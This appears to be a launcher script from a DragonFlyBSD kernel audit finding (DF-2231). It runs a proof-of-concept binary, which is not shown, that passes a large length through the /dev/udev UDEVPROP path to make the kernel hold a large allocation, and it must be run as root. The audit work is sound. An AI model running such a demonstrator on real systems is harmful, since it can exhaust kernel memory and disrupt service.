DragonFlyBSD Kernel Audit
DF-2231 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2231 run: privileged demonstrator via /dev/udev UDEVPROP.
# Must be run as ROOT (the only reachable caller on the default kernel).
# Usage: ./run.sh <len_hex> [mapmb]
#   len_hex = pref_len in hex  (e.g. 0x40000000 = 1 GiB)
#   mapmb   = optional; mmap a mapmb MiB source buffer at pref_plist so copyin
#             runs to completion (forces the kernel to hold the full allocation)
set -e
cd "$(dirname "$0")"
LEN="${1:-0x40000000}"
MAPMB="${2:-}"
if [ -n "$MAPMB" ]; then
  echo "+ ./df_poc $LEN $MAPMB"
  ./df_poc "$LEN" "$MAPMB"
else
  echo "+ ./df_poc $LEN"
  ./df_poc "$LEN"
fi
echo "RUN_EXIT=$?"